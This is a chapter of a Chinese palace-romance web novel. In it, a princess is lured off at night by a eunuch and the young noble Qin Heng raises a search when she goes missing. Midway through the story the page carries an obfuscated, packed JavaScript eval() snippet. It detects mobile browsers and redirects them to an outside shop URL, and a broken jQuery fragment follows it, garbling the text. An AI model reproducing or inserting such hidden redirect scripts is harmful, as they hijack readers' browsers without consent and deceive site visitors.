文趣网 > 都市小说 > 阙下 > 34. 失踪
    深夜寂静,一路上无人,仿佛天地之间只剩下祝朝和那个小太监。

    陌生的环境里,祝朝的感官格外敏锐。

    她警惕地打量着四周,隐约察觉到了不对劲。

    她发问:“这是去兰宜宫的路吗?我怎么看着不太像?”

    那小太监轻笑一声,不慌不忙道:“殿下,您有所不知——去兰宜宫的那条大路,白日还好,夜里却常有野猫结伴出没。因此奴才特意带您走了另一条道儿。”

    远处传来纤细尖锐的猫叫声,一声接一声,凄厉绵长,像数十只成群的猫聚在一起哀嚎,听得人背后发凉。

    事实如此,祝朝心中的疑虑便打消了几分。

    她暂时按下心中的想法,跟着那小太监继续往前走。

    途径后山花园,走在铺满鹅卵石的路上,鞋子被挤压着不断发出哒哒声。这声音在这空旷的环境中格外清晰。

    两人一前一后地走着。

    突然,那小太监停住了脚步,四处张望着踌躇不前。

    祝朝蹙眉道:“为何不走了?”

    小太监佝偻着腰转过身来,满脸愧疚:“回殿下,这条路我也不常走,有点迷路了……”

    “什么?”祝朝语气不悦,心头浮上了些许焦躁。

    她踱着步四处看着,试图找到方向。

    但兰宜宫她本就不常去,更不提这条道十分偏僻,走过的次数更是屈指可数。

    星光点点,后山花园的一汪池水泛着流淌的光,倒映出祝朝的影子。

    另一边,秦珩已回到了祥宁宫。

    一进寝宫,他身上的荷花香便溢满了屋子。

    松烟正坐在桌边打盹,一睁眼便闻到了扑鼻的荷花香。

    荷花香清新怡人,他一下子清醒了过来,惊讶地凑到秦珩身上嗅来嗅去:“公子!你这是掉花池里了吗?这么香!”

    秦珩虽未回答,嘴角的笑意却是藏都藏不住。

    他抬手闻了闻袖子:“有那么香吗?”

    见他这样,松烟好奇地弯下腰,盯着秦珩的脸瞧了又瞧。

    他伸出手在秦珩的眼前晃了晃:“公子,你这是怎么了?碰上什么好事高兴成这样?”

    秦珩意识到自己有些失态,便欲盖弥彰地咳了几声:“你怎么还没睡?”

    如此明显地答非所问,松烟不满地撇了撅嘴:“起夜时发现你不在,我就想着等你回来,谁知一不小心咪着了……”

    得不到答案,松烟心有不甘。

    他追问道:“公子,你肯定是碰到谁了,不然这大半夜的心情怎么这么好?”

    “谁啊谁啊?是谁啊?”

    “是谁啊公子,你悄悄告诉我。还有什么是不能跟我说的?”

    不管秦珩走到屋子的哪个角落,松烟都像狗皮膏药般寸步不离地跟着他。

    “哎哎!”

    实在是被问烦了,秦珩抬手打断他:“去侧门那儿等着,待会儿四殿下会派人送东西来。”

    听到这个答案,松烟顿时睁大了双眼:“四殿下?”

    “行了,去等着吧。”秦珩挥挥手,示意松烟不必多言。

    他面上装得镇定,实则不比松烟平静多少。

    “是!”

    松烟嬉笑着跑了出去,很快便不见了人影。

    总算把他打发出去了,秦珩喝着茶享受这片刻安宁。

    但很快他就按耐不住了,不到一盏茶的功夫他却觉得等了几个时辰。

    说时迟那时快,他干脆起身出门,也来到侧门外等着。

    寂静的夜,门外值班的看守打着哈欠半睡半醒,头一下一下地点着,时不时惊醒左右张望一番。

    长长的甬道上两道影子一左一右地站着,立于宫门外等待着第三个人的出现。

    又等了不到半炷香功夫,秦珩彻底沉不住气了。

    他拍了拍松烟的肩膀:“你先回去吧,我去前头迎一迎。”

    松烟正抬头数着天上的星星,冷不丁一拍吓了他一跳。

    他活动了几下筋骨,笑道:“公子打算迎到哪里?一直迎到明泉宫吗?”

    “你小子,”秦珩轻拧了一把松烟的胳膊,又气又笑道,“你去不去?不去就快些回屋里去。”

    说着,他便往明泉宫的方向去了。

    他三步并作两步,一下子走出去好远。

    “公子你敢说你没有私心?”松烟边笑便快步跟了上去,两人说说笑笑闹了一路。

    秦珩承认,他确实有私心。

    他也承认,他还有点贪心。

    今晚之前,他已近一个月没见到祝朝。

    这些时日,朝思暮想的滋味他已尝到,想见一个人而心痒难耐的滋味他也尝到了。

    人是贪心的,原本只是见她一面,可真与她独处了许久,他又犹嫌不够。

    一颗心总煎熬难耐,总还想再见到她。

    怀着这样的心情,秦珩只觉一路风清月明,连步伐都十分轻快。

    原来想着一个人的时候,再远的路也不会觉得远。

    明泉宫内灯火通明,像是整个宫的人都醒着。

    秦珩站在宫门口理了理衣衫,整理好一切后他郑重地叩响了宫门。

    很快,门内传来一阵急促的脚步声。

    “吱呀——”一声,门被拉开。

    “殿下你可总算——”

    映入眼帘的是白茸焦急的脸庞,她急冲冲地迎了出来,嗔怪的话在看到秦珩的一瞬间全都咽了下去。

    “秦公子?”白茸手足无措道:“对不住秦公子,我以为是殿下回来了……失礼失礼!”

    “无妨,”秦珩皱了皱眉,抓住了话中的疑点:“我听你的意思,殿下还没回来?”

    白茸焦急地点了点头,一双手打着圈儿搓来搓去。

    她不停垫着脚向他身后张望:“殿下说屋里太闷了想出门走走,说好了一个时辰之内回来,如今这都丑时了!”

    “这大晚上的!”

    越说她越着急,说到最后干脆提上了灯笼准备出门找人。

    “哎白姑娘——其实我今晚遇到了殿下……”

    “白茸!”

    秦珩伸手拦住白茸,正欲说明今晚遇到祝朝之事,就在此时另一个女声在门内响起。

    白茸回头看去,原来是四水。

    只见四水神情严肃地站在不远处,她招了招手,示意白茸进来说话。

    见状,白茸只得先按下心中的焦急转身就往院内走。

    她一条腿刚迈进宫门内,转头又想起了门外的秦珩。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17731775|205917||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    见四周无人,她再三犹豫还是将秦珩请进了宫。

    宫内,四水急忙将白茸拉到了墙角,附在她耳边低声道:“黑犬回来了。”

    “黑犬?她怎么回来了!”白茸顿时激动起来,但仍努力压低声音不让旁人听到。

    四水抿了抿嘴唇,说:“事关殿下的去向,人在屋里,你去问问吧。”

    白茸眼睛往旁边瞟了瞟,嘴巴做着口型无声道:“那他呢?”

    四水并不回话,只是不着痕迹地点了点头。

    白茸心领神会。

    稍作思考后,她转身走到秦珩面前,行礼道:“秦公子,请您跟我来正殿吧。”

    秦珩虽不知具体什么事,但他一进明泉宫就发现——宫里灯火通明,宫女太监都醒着,三三俩俩地在院子里站着,低声议论着什么。

    这阵仗,一看就是出事了。

    跟着白茸进了正殿,秦珩一眼就注意到了一位身着黑色衣裳的女子。

    她身姿挺拔,一身黑衣融于夜色之中,一举一动轻地像瓦片上的猫。

    若不是屋内点着油灯,恐怕很难发现到她的存在。

    秦珩仔细端详着这人的长相,总觉得十分面熟,倒像是——

    他心中一惊,转头看向殿外。

    在人群中找了一圈,却并未看见刚刚与白茸说话的女子。

    刚才那宫女穿的是黑色衣裳?

    秦珩屋里屋外来回看了好几次,虽然疑惑,却也没再多想,只以为是自己太晚没睡眼睛花了。

    他将注意力集中在那黑衣女子身上,现下他只想知道祝朝的下落。

    那黑衣女子十分戒备秦珩,她皱着眉,不满地看向白茸。

    白茸也不答话,只是点了点头。

    原来这黑衣女子不是别人,正是祝朝的暗卫、四水的孪生姐妹——黑犬。

    黑犬叹了口气,也顾不上秦珩这位“不速之客”,对白茸道:“有一个小太监叫走了殿下,我一直跟到了去往后山花园的岔道。不知那太监是有意还是无意,那儿空旷僻静得很,几乎没有藏身之处,我就只好先回来了。”

    只好先回来是什么意思?秦珩敏锐地捕捉到了这一句。

    怪异之处一个接一个,秦珩越听越迷惑。

    但今晚之事过于蹊跷,他也顾不上那许多。

    他回忆道:“其实我今晚在南亭湖碰到了四殿下,与她一同游了船,最后我们是在庆陵宫东侧的岔口分开的。”

    “那小太监应是在这之后将她叫走的,我回宫后一直在路上等着,既然我那里没有看到人,那就只能是去了庆陵宫往后山花园的那两条岔路……”

    秦珩越说心越紧。

    更深露重,为何要在半夜叫走祝朝。

    既是叫走了祝朝,又为何选了一条如此僻静的路。

    “白姑娘!叫上宫里所有的宫女太监,全都出去找!重点找去后山花园的那两条路。”

    秦珩迅速分派着任务:“我和松烟先去,你安排好后也尽快过来。”

    听罢白茸一刻也不敢耽搁,立马跑出去将人都集中到一起去。

    秦珩带着松烟一路疾走,一双腿都快迈出残影来——他从没有像现在这样痛恨过“不能疾跑”的宫规。

    夜,越来越深了。